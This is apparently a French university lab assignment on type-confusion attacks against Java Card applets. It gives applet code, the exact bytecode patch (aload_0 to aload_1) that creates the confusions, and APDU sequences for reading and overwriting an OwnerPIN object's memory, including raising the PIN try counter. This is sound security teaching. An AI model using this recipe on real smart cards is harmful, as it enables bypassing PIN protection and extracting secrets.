

Sujet 2019-2020 : Implémentation de confusions de types

Objectif : Implémentation d'attaques de confusions de types. Test sur émulateur et sur des cartes afin de voir si elles fonctionnent ou pas. Réflexion sur l'implémentation des objets sur la carte.

Reprendre le code ci-après et essayer de réaliser une confusion de type entre un `byte[]` et un `short[]`. Puis entre un `Object` et un `byte[]` ou un `short[]`. Il suffit de modifier le bytecode généré pour les fonctions `doConfBAtoSA`, `doConfObjtoBA` et `doConfObjtoSA`.

```
package fr.sauveron.damien.confusion;
import javacard.framework.*;
public class Confusion extends Applet {
    final static byte READ_BYTE_ARRAY = (byte) 0x10;
    final static byte DO_CONF_BYTE_ARRAY_TO_SHORT_ARRAY = (byte) 0x12;
    final static byte READ_SHORT_ARRAY = (byte) 0x14;
    final static byte SET_PIN_VALUE = (byte) 0x20;
    final static byte DO_CONF_PIN_TO_BYTE_ARRAY = (byte) 0x22;
    final static byte READ_PIN_AS_BYTE_ARRAY = (byte) 0x24;
    final static byte WRITE_PIN_AS_BYTE_ARRAY = (byte) 0x26;
    final static byte DO_CONF_PIN_TO_SHORT_ARRAY = (byte) 0x32;
    final static byte READ_PIN_AS_SHORT_ARRAY = (byte) 0x34;
    final static byte WRITE_PIN_AS_SHORT_ARRAY = (byte) 0x36;
    final static byte VERIFY_PIN_VALUE = (byte) 0x28;
    final static byte PIN_TRY_REMAINING = (byte) 0x2A;

    byte[] ba;
    OwnerPIN pin;
    short[] sa;
    byte[] ba2;

    public Confusion() {
        ba = new byte[127];
        for (byte i = 0; i<127;i++)
            ba[i]=i;
        pin = new OwnerPIN((byte)0x04, (byte)0x08);
    }

    public static void install(byte[] bArray, short bOffset, byte bLength) {
        // GP-compliant JavaCard applet registration
        new Confusion()
            .register(bArray, (short) (bOffset + 1), bArray[bOffset]);
    }

    public void process(APDU apdu) {
        // Good practice: Return 9000 on SELECT
        if (selectingApplet()) {
            return;
        }

        byte[] buf = apdu.getBuffer();
        short len;
        short of=0;

        switch (buf[ISO7816.OFFSET_INS]) {
            case READ_BYTE_ARRAY:
                len = (short) (buf[ISO7816.OFFSET_P1]&0x00FF);
                for (byte i = 0; i<len;i++)
                    buf[i]=ba[i];
                apdu.setOutgoingAndSend((short)0, len);
                break;
            case DO_CONF_BYTE_ARRAY_TO_SHORT_ARRAY:
                sa = doConfBAtoSA(sa, ba);
                break;
            case READ_SHORT_ARRAY:
                len = (short) (buf[ISO7816.OFFSET_P1]&0x00FF);
```

```

        for (byte i = 0; i<len;i++)
            of = Util.setShort(buf, of, sa[i]);
        apdu.setOutgoingAndSend((short)0, of);
        break;
    case SET_PIN_VALUE:
        len = apdu.setIncomingAndReceive();
        pin.update(buf, ISO7816.OFFSET_CDATA, (byte) len);
        break;
    case DO_CONF_PIN_TO_BYTE_ARRAY:
        ba2 = doConfObjtoBA(ba2,pin);
        break;
    case READ_PIN_AS_BYTE_ARRAY:
        len = (short) (buf[ISO7816.OFFSET_P1]&0x00FF);
        for (byte i = 0; i<len;i++)
            buf[i]=ba2[i];
        apdu.setOutgoingAndSend((short)0, len);
        break;
    case WRITE_PIN_AS_BYTE_ARRAY:
        len = apdu.setIncomingAndReceive();
        of = (short) (buf[ISO7816.OFFSET_P2]&0x00FF);
        for (byte i = 0; i<len;i++)
            ba2[i+of]=buf[i+ISO7816.OFFSET_CDATA];
        break;
    case DO_CONF_PIN_TO_SHORT_ARRAY:
        sa = doConfObjtoSA(sa,pin);
        break;
    case READ_PIN_AS_SHORT_ARRAY:
        len = (short) (buf[ISO7816.OFFSET_P1]&0x00FF);
        for (byte i = 0; i<len;i++)
            of = Util.setShort(buf, of, sa[i]);
        apdu.setOutgoingAndSend((short)0, of);
        break;
    case WRITE_PIN_AS_SHORT_ARRAY:
        len = apdu.setIncomingAndReceive();
        of = (short) (buf[ISO7816.OFFSET_P2]&0x00FF);
        for (byte i = 0; i<len/2;i++)
            sa[i+of]=Util.getShort(buf, (short)
                (2*i+ISO7816.OFFSET_CDATA));
        break;
    case VERIFY_PIN_VALUE:
        len = apdu.setIncomingAndReceive();
        if (!pin.check(buf, ISO7816.OFFSET_CDATA, (byte) len))
            ISOException.throwIt((short) (0x6300+pin.getTriesRemaining()));
        break;
    case PIN_TRY_REMAINING:
        buf[0] = pin.getTriesRemaining();
        apdu.setOutgoingAndSend((short)0, (short)1);
        break;
    default:
        // good practice: If you don't know the INstruction, say so:
        ISOException.throwIt(ISO7816.SW_INS_NOT_SUPPORTED);
    }
}

private static short[] doConfBAtoSA(short[] dst, byte[] src) {
    // You will have to modify generated bytecodes
    return dst;
}

private static byte[] doConfObjtoBA(byte[] dst, Object src) {
    // You will have to modify generated bytecodes
    return dst;
}

private static short[] doConfObjtoSA(short[] dst, Object src) {
    // You will have to modify generated bytecodes

```

```
        return dst;
    }
}
```

Voici les séquences APDU à envoyer :

```
/select <AID>
/send 0010000000
/send 0012000000
/send 0014xx0000 où xx est le nombre short à lire
```

Pour initialiser le PIN :

```
/send 00200000081122334455667788
/send 0022000000
/send 0024xx0000 où xx est le nombre byte à lire
/send 0032000000
/send 0034xx0000 où xx est le nombre short à lire
```

Pour vérifier le PIN

```
/send 00280000081122334455667777 donc ici un mauvais PIN
```

Pour vérifier le nombre d'essais restant

```
/send 002A000000
```

Pour lire encore après une erreur de présentation de PIN

```
/send 0034xx0000 où xx est le nombre short à lire
```

Pour écrire dans la mémoire en tant que short[]

```
/send 003600xxLC[DATA] où 00xx est l'offset dans le tableau et DATA est les data à écrire et LC la longueur.
```

Vous pouvez l'utilisez pour vous augmenter votre nombre d'essais

Attention, si vous n'avez pas modifié le composant Method.cap (comme expliqué ci-dessous) et que vous ne l'avez pas remis dans le fichier Confusion.cap, les 3 confusions que sont /send 0012000000, /send 0022000000, /send 0032000000 ne fonctionneront pas.

Notons qu'il suffira de remplacer dans les trois méthodes de classe

01 20 18 77 où 18 77 correspond à la séquence de bytecode aload_0 areturn
par

01 20 19 77 où 19 77 correspond à la séquence de bytecode aload_1 areturn

Ce code est aussi disponible sur mon site web dans « TP » puis « Projet2019-2020 ».

Il est possible modifier la mémoire du processus jcop.exe avec HxD par exemple pour simuler une faute et augmenter le nombre d'essais, ou changer la valeur du PIN.

Montrez comment vous avez fait en capturant une petite vidéo de démonstration à me rendre avec le projet. Il faut quelques explications.

Globalement un vidéo explicative de toutes les opérations serait la bienvenue.